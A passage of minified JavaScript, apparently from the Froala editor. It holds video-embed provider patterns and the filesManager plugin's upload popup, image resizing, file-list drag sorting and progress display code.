allowtransparency="true"></iframe>',provider:"yahoo"},{test_regex:/^.+(rutube.ru)\/[^_&]+/,url_regex:/(?:https?:\/\/)?(?:www\.)?(?:rutube\.ru)\/(?:video)?\/?(.+)/g,url_text:"https://rutube.ru/play/embed/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true" allowtransparency="true"></iframe>',provider:"rutube"},{test_regex:/^(?:.+)vidyard.com\/(?:watch)?\/?([^.&/]+)\/?(?:[^_.&]+)?/,url_regex:/^(?:.+)vidyard.com\/(?:watch)?\/?([^.&/]+)\/?(?:[^_.&]+)?/g,url_text:"https://play.vidyard.com/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen></iframe>',provider:"vidyard"}],It.VIDEO_EMBED_REGEX=/^\W*((<iframe(.|\n)*>(\s|\n)*<\/iframe>)|(<embed(.|\n)*>))\W*$/i,It.IMAGE_EMBED_REGEX=/^\W*((<img(.|\n)*>(\s|\n)*))\W*$/i,It.IMAGE_TYPE="image/png",It.IMAGE_ALLOW_REGEX=/\.(gif|jpe?g|tiff?|png|webp|bmp)$/i,It.PLUGINS.filesManager=function(L){var x,s,_,l,d,f,o,c,S=L.$,M="https://i.froala.com/upload",p=!1,t=!1,T=new Map,B=new Map,E=new Map,k=new Map,R=new Map,A=new Map,r=0,a=[],g=-1,D=[],u=0,m=["file","image","imageTUI","video"],U=1,v=2,C=3,I=4,z=5,O=6,$=10,P=["video/avi","video/mpeg","video/x-ms-wmv"],h={};function b(){var e=L.popups.get("filesManager.insert"),t=e.find(".fr-files-by-url-layer input");t.val(""),e.find(".fr-files-embed-layer textarea").val("").trigger("change"),t.trigger("change")}function y(e){var t;L.hasOwnProperty("imageTUI")||(o="fr-disabled"),A.forEach(function(e,t){q(t)}),w()?(t=L.popups.get("filesManager.insert"))||(t=Fe()):(t=L.popups.get("filesManager.insert"))||(t=function s(){var e="<div style= 'padding:10px'>\n <div class = 'fr-message'><h3 style ='font-size: 16px; margin: 10px 10px;font-weight: normal;'>".concat(L.language.translate(function n(){var e="",t=function i(){var t=[];return m.forEach(function(e){L.opts.pluginsEnabled.indexOf(e)<0&&t.push(e.charAt(0).toUpperCase()+e.slice(1))}),t}();e=t.join(", "),1<t.length?e+=" plugin are":e+=" plugin is";return e}()+" not enabled. Do you want to enable?"),"</h3></div>\n <div style='text-align:right;'>\n <button class='fr-trim-button fr-plugins-enable'>").concat(L.language.translate("Enable"),"</button> \n <button class='fr-trim-button fr-plugins-cancel'>").concat(L.language.translate("Cancel"),"</button>\n </div>"),t={buttons:'<div class="fr-buttons fr-tabs"></div>',upload_layer:e,by_url_layer:"",embed_layer:"",upload_progress_layer:"",progress_bar:""},i=L.popups.create("filesManager.insert",t);return Re(i),i}());var i=L.$tb.find('.fr-command[data-cmd="insertFiles"]');if(Q(),e||!t.hasClass("fr-active"))if(e||Z(),L.popups.refresh("filesManager.insert"),L.popups.setContainer("filesManager.insert",L.$tb),i.isVisible()){var n=L.button.getPosition(i,T.size),a=n.left,r=n.top;L.popups.show("filesManager.insert",a,r,i.outerHeight())}else L.position.forSelection(t),L.popups.show("filesManager.insert");L.popups.setPopupDimensions(t),w()&&L.popups.setFileListHeight(t),t.find(".fr-upload-progress")&&0==T.size&&t.find(".fr-upload-progress").addClass("fr-none")}function w(){var t=!0;return m.forEach(function(e){L.opts.pluginsEnabled.indexOf(e)<0&&(t=!1)}),t}function F(){Q()}function N(){if(l||function s(){var e;L.shared.$image_resizer?(l=L.shared.$image_resizer,f=L.shared.$img_overlay,L.events.on("destroy",function(){S("body").first().append(l.removeClass("fr-active"))},!0)):(L.shared.$image_resizer=S(document.createElement("div")).attr("class","fr-image-resizer"),l=L.shared.$image_resizer,L.events.$on(l,"mousedown",function(e){e.stopPropagation()},!0),L.opts.imageResize&&(l.append(H("nw")+H("ne")+H("sw")+H("se")),L.shared.$img_overlay=S(document.createElement("div")).attr("class","fr-image-overlay"),f=L.shared.$img_overlay,e=l.get(0).ownerDocument,S(e).find("body").first().append(f)));L.events.on("shared.destroy",function(){l.html("").removeData().remove(),l=null,L.opts.imageResize&&(f.remove(),f=null)},!0),L.helpers.isMobile()||L.events.$on(S(L.o_win),"resize",function(){x&&!x.hasClass("fr-uploading")?it(!0):x&&(N(),replace(),J(!1))});if(L.opts.imageResize){e=l.get(0).ownerDocument,L.events.$on(l,L._mousedown,".fr-handler",Y),L.events.$on(S(e),L._mousemove,V),L.events.$on(S(e.defaultView||e.parentWindow),L._mouseup,W),L.events.$on(f,"mouseleave",W);var n=1,a=null,r=0;L.events.on("keydown",function(e){if(x){var t=-1!=navigator.userAgent.indexOf("Mac OS X")?e.metaKey:e.ctrlKey,i=e.which;(i!==a||200<e.timeStamp-r)&&(n=1),(i==It.KEYCODE.EQUALS||L.browser.mozilla&&i==It.KEYCODE.FF_EQUALS)&&t&&!e.altKey?n=Xe.call(this,e,1,1,n):(i==It.KEYCODE.HYPHEN||L.browser.mozilla&&i==It.KEYCODE.FF_HYPHEN)&&t&&!e.altKey?n=Xe.call(this,e,2,-1,n):L.keys.ctrlKey(e)||i!=It.KEYCODE.ENTER||(x.before("<br>"),Ee(x)),a=i,r=e.timeStamp}},!0),L.events.on("keyup",function(){n=1})}}(),!x)return!1;var e=L.$wp||L.$sc;e.append(l),l.data("instance",L);var t=e.scrollTop()-("static"!=e.css("position")?e.offset().top:0),i=e.scrollLeft()-("static"!=e.css("position")?e.offset().left:0);i-=L.helpers.getPX(e.css("border-left-width")),t-=L.helpers.getPX(e.css("border-top-width")),L.$el.is("img")&&L.$sc.is("body")&&(i=t=0);var n=lt();dt()&&(n=n.find(".fr-img-wrap"));var a=0,r=0;L.opts.iframe&&(a=L.helpers.getPX(L.$wp.find(".fr-iframe").css("padding-top")),r=L.helpers.getPX(L.$wp.find(".fr-iframe").css("padding-left"))),l.css("top",(L.opts.iframe?n.offset().top+a:n.offset().top+t)-1).css("left",(L.opts.iframe?n.offset().left+r:n.offset().left+i)-1).css("width",n.get(0).getBoundingClientRect().width).css("height",n.get(0).getBoundingClientRect().height).addClass("fr-active")}function H(e){return'<div class="fr-handler fr-h'.concat(e,'"></div>')}function K(e){dt()?x.parents(".fr-img-caption").css("width",e):x.css("width",e)}function Y(e){if(!L.core.sameInstance(l))return!0;if(e.preventDefault(),e.stopPropagation(),L.$el.find("img.fr-error").left)return!1;L.undo.canDo()||L.undo.saveStep();var t=e.pageX||e.originalEvent.touches[0].pageX;if("mousedown"==e.type){var i=L.$oel.get(0).ownerDocument,n=i.defaultView||i.parentWindow,a=!1;try{a=n.location!=n.parent.location&&!(n.$&&n.$.FE)}catch(o){}a&&n.frameElement&&(t+=L.helpers.getPX(S(n.frameElement).offset().left)+n.frameElement.clientLeft)}(d=S(this)).data("start-x",t),d.data("start-width",x.width()),d.data("start-height",x.height());var r=x.width();if(L.opts.imageResizeWithPercent){var s=x.parentsUntil(L.$el,L.html.blockTagsQuery()).get(0)||L.el;r=(r/S(s).outerWidth()*100).toFixed(2)+"%"}K(r),f.show(),L.popups.hideAll(),rt()}function V(e){if(!L.core.sameInstance(l))return!0;var t;if(d&&x){if(e.preventDefault(),L.$el.find("img.fr-error").left)return!1;var i=e.pageX||(e.originalEvent.touches?e.originalEvent.touches[0].pageX:null);if(!i)return!1;var n=i-d.data("start-x"),a=d.data("start-width");if((d.hasClass("fr-hnw")||d.hasClass("fr-hsw"))&&(n=0-n),L.opts.imageResizeWithPercent){var r=x.parentsUntil(L.$el,L.html.blockTagsQuery()).get(0)||L.el;a=((a+n)/S(r).outerWidth()*100).toFixed(2),L.opts.imageRoundPercent&&(a=Math.round(a)),K("".concat(a,"%")),(t=dt()?(L.helpers.getPX(x.parents(".fr-img-caption").css("width"))/S(r).outerWidth()*100).toFixed(2):(L.helpers.getPX(x.css("width"))/S(r).outerWidth()*100).toFixed(2))===a||L.opts.imageRoundPercent||K("".concat(t,"%")),x.css("height","").removeAttr("height")}else a+n>=L.opts.imageMinWidth&&(K(a+n),t=dt()?L.helpers.getPX(x.parents(".fr-img-caption").css("width")):L.helpers.getPX(x.css("width"))),t!==a+n&&K(t),((x.attr("style")||"").match(/(^height:)|(; *height:)/)||x.attr("height"))&&(x.css("height",d.data("start-height")*x.width()/d.data("start-width")),x.removeAttr("height"));N(),L.events.trigger("image.resize",[ot()])}}function W(e){if(!L.core.sameInstance(l))return!0;if(d&&x){if(e&&e.stopPropagation(),L.$el.find("img.fr-error").left)return!1;d=null,f.hide(),N(),L.undo.saveStep(),L.events.trigger("image.resizeEnd",[ot()])}else l.removeClass("fr-active")}function G(){A.forEach(function(e,t){var i=L.popups.get("filesManager.insert");i.find(".fr-checkbox-file-"+t).get(0).disabled=!0,document.getElementById("fr-file-autoplay-button-"+t)&&(document.getElementById("fr-file-autoplay-button-"+t).disabled=!0,document.getElementById("fr-file-autoplay-button-"+t).parentElement.classList.add("fr-checkbox-disabled"),document.getElementById("fr-file-autoplay-button-"+t).parentElement.classList.remove("fr-files-checkbox")),i.find(".fr-checkbox-"+t).get(0).classList.remove("fr-files-checkbox"),i.find(".fr-checkbox-"+t).get(0).classList.add("fr-checkbox-disabled")})}function X(e,t,i,n){L.edit.on(),x&&x.addClass("fr-error"),h[e]?(e!=C&&e!=v&&e!=I||we(100,n,!0),A.set(n,h[e]),G(),function a(){A.forEach(function(e,t){L.popups.get("filesManager.insert"),document.getElementById("fr-file-edit-button-".concat(t))&&(document.getElementById("fr-file-edit-button-".concat(t)).classList.add("fr-disabled"),document.getElementById("fr-file-view-button-".concat(t)).classList.add("fr-disabled"),document.getElementById("fr-file-insert-button-".concat(t)).classList.add("fr-disabled"))})}(),ie(L.language.translate(h[e]),n)):ie(L.language.translate("Something went wrong. Please try again."),n),!x&&i&&je(i),L.events.trigger("filesManager.error",[{code:e,message:h[e]},t,i])}function j(){var e=L.popups.get("filesManager.insert"),t=e.find('.fr-command[data-cmd="insertAll"]'),i=e.find('.fr-command[data-cmd="deleteAll"]'),n=!0;R.forEach(function a(e,t,i){R.get(t)&&(n=!1)}),n?t.addClass("fr-disabled"):t.removeClass("fr-disabled"),n?i.addClass("fr-disabled"):i.removeClass("fr-disabled")}function q(e){B.get(e)&&B.get(e).link&&L.events.trigger("filesManager.removed",[B.get(e).link]);var t=L.popups.get("filesManager.insert");t.find(".fr-file-"+e).get(0)!==undefined&&(t.find(".fr-file-"+e).get(0).outerHTML=""),B["delete"](e),T["delete"](e),R["delete"](e),j(),0==T.size&&(u=0),A["delete"](e),L.popups.setPopupDimensions(t,!0),L.opts.toolbarBottom?y(!0):L.popups.setPopupDimensions(t),t.find(".fr-upload-progress")&&0==T.size&&t.find(".fr-upload-progress").addClass("fr-none")}function Z(){for(var e=L.popups.get("filesManager.insert"),t=e.find(".fr-insert-checkbox"),i=0;i<t.length;i++)t.get(i).children.target.checked=!1,e.find(".fr-file-"+t.get(i).id.split("-").pop()).get(0).classList.add("fr-unchecked");if(_)document.getElementById("fr-file-autoplay-button-".concat(_))&&(document.getElementById("fr-file-autoplay-button-".concat(_)).checked=!1),D=D.filter(function(e){return e!=_});else{for(var n=e.find(".fr-file-autoplay-button"),a=0;a<n.length;a++)n.get(a).checked=!1;D=[]}R=new Map,j()}function J(e){var t=L.popups.get("filesManager.insert");if(t||(t=Fe()),t.find(".fr-layer.fr-active").removeClass("fr-active").addClass("fr-pactive"),t.find(".fr-files-progress-bar-layer").addClass("fr-active"),t.find(".fr-buttons").hide(),x){var i=lt();L.popups.setContainer("filesManager.insert",L.$sc);var n=i.offset().left,a=i.offset().top+i.height();L.popups.show("filesManager.insert",n,a,i.outerHeight())}void 0===e&&ee(L.language.translate("Uploading"),0)}function Q(e){var t=L.popups.get("filesManager.insert");if(t&&(t.find(".fr-layer.fr-pactive").addClass("fr-active").removeClass("fr-pactive"),t.find(".fr-files-progress-bar-layer").removeClass("fr-active"),t.find(".fr-buttons").show(),e||L.$el.find("img.fr-error").length)){if(L.events.focus(),L.$el.find("img.fr-error").length&&(L.$el.find("img.fr-error").remove(),L.undo.saveStep(),L.undo.run(),L.undo.dropRedo()),!L.$wp&&x){var i=x;it(!0),L.selection.setAfter(i.get(0)),L.selection.restore()}L.popups.hide("filesManager.insert")}}function ee(e,t){var i=L.popups.get("filesManager.insert");if(i){var n=i.find(".fr-files-progress-bar-layer");n.find("h3").text(e+(t?" ".concat(t,"%"):"")),n.removeClass("fr-error"),t?(n.find("div").removeClass("fr-indeterminate"),n.find("div > span").css("width","".concat(t,"%"))):n.find("div").addClass("fr-indeterminate")}}function te(e){J();var t=L.popups.get("filesManager.insert").find(".fr-files-progress-bar-layer");t.addClass("fr-error");var i=t.find("h3");i.text(e),L.events.disableBlur(),i.focus()}function ie(e,t){var i=L.popups.get("filesManager.insert"),n=i.find(".fr-upload-progress-layer"),a=i.find(".fr-file-".concat(t));n.addClass("fr-error"),a.find("h5").text(e)}h[U]="File cannot be loaded from the passed link.",h[v]="No link in upload response.",h[C]="Error during file upload.",h[I]="Parsing response failed.",h[z]="File is too large.",h[O]="File type is invalid.",h[7]="Files can be uploaded only to same domain in IE 8 and IE 9.",h[8]="File is corrupted.",h[9]="Error during file loading.",h[$]="File upload cancelled";var i,ne,ae,re,se,oe,n,le,de,fe,ce="";function pe(e){ce=e,i=document.getElementsByClassName(e),Array.prototype.map.call(i,function(e){!function n(e){if(e.addEventListener("dragover",function(e){e.preventDefault(),e.stopPropagation(),ne=e.pageX,ae=e.pageY;var t=document.getElementById("filesList");ae+20>t.getBoundingClientRect().bottom&&ge(t,0,10),ae-20<t.getBoundingClientRect().top&&ge(t,0,-10)},!1),L.helpers.isMobile()){var t=e.getElementsByClassName("dot");t[0].addEventListener("touchmove",function(e){e.preventDefault(),e.stopPropagation();for(var t=e.target;t&&!t.classList.contains(ce);)t=t.parentElement;for(var i=document.elementFromPoint(e.targetTouches[0].clientX,e.targetTouches[0].clientY);i&&!i.classList.contains(ce);)i=i.parentElement;var n=document.getElementsByClassName("fr-hovered-over-file");Array.prototype.forEach.call(n,function(e){e.classList.remove("fr-hovered-over-file")}),i&&!t.classList.contains("fr-unchecked")&&i.classList.add("fr-hovered-over-file");var a=document.getElementById("filesList");e.targetTouches[0].clientY+5>a.getBoundingClientRect().bottom&&ge(a,0,5),e.targetTouches[0].clientY-5<a.getBoundingClientRect().top&&ge(a,0,-5)},!1)}if(e.ondrag=ue,e.ondragend=me,L.helpers.isMobile()){var i=e.getElementsByClassName("dot");i[0].addEventListener("touchmove",ue,!1),i[0].addEventListener("touchend",me,!1)}}(e)})}function ge(e,t,i){e.scrollLeft+=t,e.scrollTop+=i}function ue(e){for(L.helpers.isMobile()&&(se=event.touches[0].clientX,oe=event.touches[0].clientY),re=e.target;!re.classList.contains(ce);)re=re.parentElement;re.classList.contains(ce)&&!re.classList.contains("fr-unchecked")?L.helpers.isMobile()&&re.classList.add("drag-sort-active"):re=undefined}function me(e){var t;if(re!==undefined){var i,n;if(L.helpers.isMobile())for(i=se,n=oe,t=event.target;!t.classList.contains(ce);)t=t.parentElement;else i=event.clientX,n=event.clientY;L.helpers.isMobile()||!L.browser.safari&&!L.browser.mozilla||(i=ne,n=ae);for(var a=document.elementFromPoint(i,n);a&&!a.classList.contains(ce);)a=a.parentElement;a&&!a.classList.contains(ce)?a=undefined:a&&re!==a&&function o(e,t){var i,n,a=e.parentNode,r=t.parentNode;if(!a||!r||a.isEqualNode(t)||r.isEqualNode(e))return;for(var s=0;s<a.children.length;s++)a.children[s].isEqualNode(e)&&(i=s);for(var s=0;s<r.children.length;s++)r.children[s].isEqualNode(t)&&(n=s);a.isEqualNode(r)&&i<n&&n++;a.insertBefore(t,a.children[i]),r.insertBefore(e,r.children[n])}(re,a),L.helpers.isMobile()&&(t.classList.remove("fr-hovered-over-file"),a.classList.remove("fr-hovered-over-file"))}}function ve(e){var n=L.popups.get("filesManager.insert");n.find(".fr-upload-progress-layer").hasClass("fr-active")||n.find(".fr-upload-progress-layer").addClass("fr-active"),n.find(".fr-upload-progress").removeClass("fr-none");var t=T.get(e),i=function s(e){var t,i={weekday:"long",year:"numeric",month:"long",day:"numeric"};try{t=e.toLocaleDateString(L.opts.language?L.opts.language:undefined,i)}catch(n){t=e.toLocaleDateString(undefined,i)}return t+""}(new Date),a=R.get(e)?"":"fr-unchecked ",r="\n <div id='fr-file-".concat(e,"' class='fr-file-list-item fr-file-").concat(e," ").concat(a,"' draggable = \"").concat(!a,'" >\n <div class=\'fr-file-item-left\' >\n\n \n <div class="fr-file-item-insert-checkbox fr-files-checkbox-line">\n ').concat(L.helpers.isMobile()?"<div id='fr-pick-".concat(e,"}' class='dot'>\n </div>"):"",'\n <div id="checkbox-key-').concat(e,'" class="fr-files-checkbox fr-insert-checkbox fr-checkbox-').concat(e,'">\n <input name="target" class="fr-insert-attr fr-checkbox-file-').concat(e,' fr-file-insert-check" data-cmd="fileInsertCheckbox"\n data-checked="_blank" type="checkbox" id="fr-link-target-').concat(L.id,'" tabIndex="0" />\n <span>').concat('<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10" viewBox="0 0 32 32"><path d="M27 4l-15 15-7-7-5 5 12 12 20-20z" fill="#FFF"></path></svg>','\n </span>\n </div>\n <label id="fr-label-target-').concat(L.id,"\"></label>\n </div>\n \n <div class='fr-file-item-icon fr-file-item-icon-").concat(e,"' >\n <img src='https://secure.webtoolhub.com/static/resources/icons/set112/f2afb6f7.png' alt='Image preview' class='fr-thumbnail-padding' height='36px' width='36px' />\n </div>\n\n <div class='fr-file-item-description' >\n <div class='fr-file-name fr-files-manager-tooltip'>\n ").concat(function o(e,t,i){null==t&&(t=100);null==i&&(i="...");return e.length>t?e.substring(0,t-i.length)+i:e}(t.name,20),'\n <span class="').concat(20<t.name.length?"tooltiptext":"fr-none",'">').concat(t.name,"\n </span>\n </div>\n <div class='fr-file-details'>\n <div class='fr-file-date'>").concat(i,"\n </div>\n \n <div class='fr-file-size'>\n ").concat(function l(e){if(0==e)return"0 Bytes";var t=Math.floor(Math.log(e)/Math.log(1024));return" | "+1*(e/Math.pow(1024,t)).toFixed(2)+" "+["Bytes","KB","MB","GB","TB"][t]}(t.size),"\n </div>\n </div>\n\n <div class='fr-file-error'>\n <h5 class='fr-file-error-h5'></h5>\n </div>\n </div>\n \n </div>\n\n <div class='fr-file-item-right fr-file-item-right-").concat(e,"'>")+ye(e)+"</div>\n </div>";n.find(".fr-upload-progress-layer")[0].innerHTML=r+n.find(".fr-upload-progress-layer")[0].innerHTML,T.forEach(function d(e,t,i){R.get(t)&&n.find("input.fr-insert-attr.fr-checkbox-file-".concat(t))[0].setAttribute("checked",null)}),D.forEach(function(e){document.getElementById("fr-file-autoplay-button-"+e).checked=!0}),be(e,t),Q(),L.opts.toolbarBottom?y(!0):L.popups.setPopupDimensions(n),pe("fr-file-list-item")}function he(e){switch(e){case"application/msword":return L.icon.getFileIcon("docIcon");case"application/vnd.openxmlformats-officedocument.wordprocessingml.document":return L.icon.getFileIcon("docxIcon");case"image/gif":return L.icon.getFileIcon("gifIcon");case"image/jpeg":return L.icon.getFileIcon("jpegIcon");case"image/jpeg":return L.icon.getFileIcon("jpgIcon");case"type/text":return L.icon.getFileIcon("logIcon");case"video/quicktime":return L.icon.getFileIcon("movIcon");case"audio/mp3":case"audio/mpeg":return L.icon.getFileIcon("mp3Icon");case"video/mp4":return L.icon.getFileIcon("mp4Icon");case"audio/ogg":return L.icon.getFileIcon("oggIcon");case"video/ogg":return L.icon.getFileIcon("ogvIcon");case"application/pdf":return L.icon.getFileIcon("pdfIcon");case"image/png":return L.icon.getFileIcon("pngIcon");case"text/plain":return L.icon.getFileIcon("txtIcon");case"video/webm":return L.icon.getFileIcon("webmIcon");case"image/webp":return L.icon.getFileIcon("webpIcon");case"video/x-ms-wmv":return L.icon.getFileIcon("wmvIcon");case"application/vnd.ms-excel":return L.icon.getFileIcon("xlsIcon");case"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet":return L.icon.getFileIcon("xlsxIcon");case"application/x-zip-compressed":case"application/zip":return L.icon.getFileIcon("zipIcon");default:return L.icon.getFileIcon("defaultIcon")}}function be(n,a,e){var r=L.popups.get("filesManager.insert"),t=r.find(".fr-file-item-icon-"+n).get(0);if(Ue(Le(a))&&"image/gif"!=Le(a)&&"image/webp"!=Le(a)){"a"!=t.children[0].localName&&(t.innerHTML="<a target='_blank' href=''>"+t.innerHTML+"</a>");r.find(".fr-file-item-icon-"+n).get(0).children[0].children[0];var s=new FileReader;if(null!=e&&e){var i=T.get(n);a.name=i.name,T.set(n,a)}if(s.onloadend=function(){r.find(".fr-file-item-icon-"+n).get(0).children[0].children[0].src=s.result;for(var e=atob(s.result.split(",")[1]),t=[],i=0;i<e.length;i++)t.push(e.charCodeAt(i));r.find(".fr-file-item-icon-"+n).get(0).children[0].href=window.URL.createObjectURL(new Blob([new Uint8Array(t)],{type:Le(a)})),r.find(".fr-file-item-icon-"+n).get(0).classList.add("fr-file-item-thumbnail-hover")},a)s.readAsDataURL(a);else{var o=he(Le(a));t.innerHTML='<svg height="40px" width="40px" viewBox="0 0 55 5" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">\n '.concat(o.path,"\n </svg>")}}else{var l=he(Le(a));t.innerHTML='<svg height="40px" width="40px" viewBox="0 0 55 55" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">\n '.concat(l.path,"\n </svg>")}}function ye(e){var t="";if(Oe(Le(T.get(e)))){var i="fr-files-checkbox",n="";Pe(Le(T.get(e)))||(i="fr-checkbox-disabled",n="disabled");t='\n <div class="fr-files-checkbox-line align-autoplay">\n <div id="checkbox-key-'.concat(e,'" class="').concat(i," fr-autoplay-checkbox fr-checkbox-").concat(e,'"> \n \n <input type="checkbox" id="fr-file-autoplay-button-').concat(e,'" class="fr-file-button-').concat(e,' fr-file-autoplay-button" data-title="Edit" data-param1="').concat(e,'" role="button" ').concat(n,"/>\n\n <span>").concat('<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10" viewBox="0 0 32 32"><path d="M27 4l-15 15-7-7-5 5 12 12 20-20z" fill="#FFF"></path></svg>'," </span>\n </div> \n <label class='fr-autoplay-checkbox-label'>Autoplay </label>\n </div>")}var a="application/msword",r="application/vnd.openxmlformats-officedocument.wordprocessingml.document",s="";return!$e(Le(T.get(e)))&&Pe(Le(T.get(e)))||(o="fr-disabled"),Oe(Le(T.get(e)))&&(o="fr-disabled"),ze(Le(T.get(e)))&&(o="fr-disabled",Le(T.get(e))!=a&&Le(T.get(e))!=r||L.opts.googleOptions&&!L.helpers.isMobile()&&L.opts.googleOptions.API_KEY&&L.opts.googleOptions.CLIENT_ID&&(o=""),"text/plain"!=Le(T.get(e))&&Le(T.get(e))!=a&&"application/pdf"!=Le(T.get(e))&&Le(T.get(e))!=r&&"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"!=Le(T.get(e))&&"application/vnd.ms-excel"!=Le(T.get(e))&&"type/text"!=Le(T.get(e))||(s="")),"video/url"===Le(T.get(e))&&(o="fr-disabled"),t+='<div class=\'fr-file-item-action-buttons\' >\n <button type="button" id="fr-file-insert-button-'.concat(e,'" class=" fr-doc-edit-').concat(e," fr-img-icon fr-btn fr-command fr-submit fr-file-action-icons \n fr-file-button-").concat(e," fr-file-insert-button-").concat(e,' fr-file-insert-button" data-cmd="imageInsertByUpload" data-title="Insert" data-param1="').concat(e,'" tabIndex="2" role="button">\n <svg style=\'margin:0px !important; opacity:0.9\' class = "fr-svg" focusable="false" width="16px" height="16px" viewBox = "-5 0 28 28" xlmns = "http://w3.org/200/svg"><path d = \'M 9.25 12 L 6.75 12 C 6.335938 12 6 11.664062 6 11.25 L 6 6 L 3.257812 6 C 2.703125 6 2.425781 5.328125 2.820312 4.933594 L 7.570312 0.179688 C 7.804688 -0.0546875 8.191406 -0.0546875 8.425781 0.179688 L 13.179688 4.933594 C 13.574219 5.328125 13.296875 6 12.742188 6 L 10 6 L 10 11.25 C 10 11.664062 9.664062 12 9.25 12 Z M 16 11.75 L 16 15.25 C 16 15.664062 15.664062 16 15.25 16 L 0.75 16 C 0.335938 16 0 15.664062 0 15.25 L 0 11.75 C 0 11.335938 0.335938 11 0.75 11 L 5 11 L 5 11.25 C 5 12.214844 5.785156 13 6.75 13 L 9.25 13 C 10.214844 13 11 12.214844 11 11.25 L 11 11 L 15.25 11 C 15.664062 11 16 11.335938 16 11.75 Z M 12.125 14.5 C 12.125 14.15625 11.84375 13.875 11.5 13.875 C 11.15625 13.875 10.875 14.15625 10.875 14.5 C 10.875 14.84375 11.15625 15.125 11.5 15.125 C 11.84375 15.125 12.125 14.84375 12.125 14.5 Z M 14.125 14.5 C 14.125 14.15625 13.84375 13.875 13.5 13.875 C 13.15625 13.875 12.875 14.15625 12.875 14.5 C 12.875 14.84375 13.15625 15.125 13.5 15.125 C 13.84375 15.125 14.125 14.84375 14.125 14.5 Z M 14.125 14.5 \'></path></svg>\n </button>\n\n <button type="button" id="fr-file-edit-button-').concat(e,'" class=" fr-doc-edit-').concat(e," ").concat(o," fr-img-icon fr-btn fr-command fr-submit \n fr-file-action-icons fr-file-edit-button-").concat(e," fr-file-button-").concat(e,' fr-file-edit-button" data-cmd="editImage" data-title="Edit" data-param1="').concat(e,'" role="button">\n <svg style=\'margin:0px !important; opacity:0.9\' class = "fr-svg" focusable="false" width="16px" height="16px" viewBox = "0 4 25 25" xlmns = "http://w3.org/200/svg"><path d = \'M17,11.2L12.8,7L5,14.8V19h4.2L17,11.2z M7,16.8v-1.5l5.6-5.6l1.4,1.5l-5.6,5.6H7z M13.5,6.3l0.7-0.7c0.8-0.8,2.1-0.8,2.8,0 c0,0,0,0,0,0L18.4,7c0.8,0.8,0.8,2,0,2.8l-0.7,0.7L13.5,6.3z\'></path></svg>\n </button>\n \n <span class="fr-file-view-').concat(e,'"><button type="button" id="fr-file-view-button-').concat(e,'" class=" fr-doc-edit-').concat(e," ").concat(s," fr-img-icon fr-btn fr-command fr-submit fr-file-action-icons \n fr-file-view-button-").concat(e,' fr-file-view-button" data-cmd="viewImage" data-title="View" data-param1="').concat(e,'" tabIndex="2" role="button">\n <svg style=\'margin:0px !important; opacity:0.9\' class = "fr-svg" focusable="false" width="16px" height="16px" viewBox = "15 19 21 21" xlmns = "http://w3.org/200/svg"> <path style="fill:none;stroke-width:0.9077;stroke-linecap:round;stroke-linejoin:round;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 19.086094 16.541466 C 16.185625 16.541466 14.318281 19.447115 14.318281 19.447115 L 14.318281 19.555288 C 14.318281 19.555288 16.176719 22.475962 19.077187 22.475962 C 21.977656 22.475962 23.847969 19.576322 23.847969 19.576322 L 23.847969 19.465144 C 23.847969 19.465144 21.989531 16.541466 19.086094 16.541466 Z M 19.07125 21.024639 C 18.248906 21.024639 17.583906 20.357572 17.583906 19.53726 C 17.583906 18.716947 18.248906 18.04988 19.07125 18.04988 C 19.890625 18.04988 20.555625 18.716947 20.555625 19.53726 C 20.555625 20.357572 19.890625 21.024639 19.07125 21.024639 Z M 19.07125 21.024639 " transform="matrix(1.315789,0,0,1.3,0,0)"/></svg></button></span>\n\n <button type="button" id="fr-file-delete-button-').concat(e,'" class=" fr-doc-edit-').concat(e," fr-img-icon fr-btn fr-command fr-submit fr-file-action-icons\n fr-file-button-").concat(e,' fr-file-delete-button" data-cmd="deleteImage" data-title="Delete" data-param1="').concat(e,'" role="button">\n <svg style=\'margin:0px !important; opacity:0.9\' class = "fr-svg" focusable="false" width="16px" height="16px" viewBox = "-2 3 30 30" xlmns = "http://w3.org/200/svg"><path d = \'M15,10v8H9v-8H15 M14,4H9.9l-1,1H6v2h12V5h-3L14,4z M17,8H7v10c0,1.1,0.9,2,2,2h6c1.1,0,2-0.9,2-2V8z\'></path></svg>\n </button>\n \n </div>\n <div id="user_area-').concat(e,"\" style=\"display: none;\">\n \n <div id=\"file_container\"></div>\n\n <div style='display:block;text-align: center; margin-left:50%; id='edit-file-loader' class='fr-file-loader'></div>\n\n </div> \n ")}function we(e,t,i){var n=L.popups.get("filesManager.insert");if(!i&&e<=100){n.find(".fr-checkbox-file-"+t).get(0).disabled=!0,n.find(".fr-checkbox-"+t).get(0).classList.remove("fr-files-checkbox"),n.find(".fr-checkbox-"+t).get(0).classList.add("fr-checkbox-disabled");var a=n.find(".fr-file-progress-circle-"+t),r=n.find(".fr-file-upload-percent-"+t);return 50<e?a.get(0).setAttribute("class","fr-file-progress-circle-"+t+" progress-circle p"+Math.floor(e)+" over50"):a.get(0).setAttribute("class","fr-file-progress-circle-"+t+" progress-circle p"+Math.floor(e)),r.get(0).innerHTML=Math.floor(e)+"%",void xe(t,e,i)}i&&(n.find(".fr-checkbox-file-"+t).get(0).disabled=!1,n.find(".fr-checkbox-"+t).get(0).classList.remove("fr-checkbox-disabled"),n.find(".fr-checkbox-"+t).get(0).classList.add("fr-files-checkbox"),n.find(".fr-file-item-right-"+t).get(0).innerHTML=ye(t),xe(t,100,i))}function xe(e,t,i){var n=L.popups.get("filesManager.insert");n.find(".fr-progress-bar").removeClass("fr-none").addClass("fr-display-block"),n.find(".fr-upload-progress").hasClass("fr-height-set")&&L.popups.setFileListHeight(n);var 